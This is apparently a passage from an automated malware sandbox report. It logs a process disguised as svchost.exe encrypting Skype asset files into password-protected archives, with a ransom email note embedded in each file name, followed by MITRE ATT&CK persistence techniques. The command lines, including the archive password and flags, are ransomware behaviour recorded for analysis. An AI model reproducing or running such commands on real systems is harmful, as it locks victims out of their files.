                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeAppList.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeAppList.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3676
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeAppList.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeAppList.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2196
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeAppList.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeAppList.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5016
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeLargeTile.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeLargeTile.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeLargeTile.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeLargeTile.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4500
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeLargeTile.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeLargeTile.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3852
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeLogo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeLogo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4292
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeMedTile.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeMedTile.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2932
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeMedTile.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeMedTile.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3996
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeMedTile.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeMedTile.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4852
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeTile.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeTile.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeTile.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeTile.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:624
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeTile.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeTile.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5456
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeWideTile.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeWideTile.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeWideTile.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeWideTile.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5048
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeWideTile.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeWideTile.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:892

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Resource Development

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Initial Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Persistence

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1547

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1547.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Pre-OS Boot

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1542

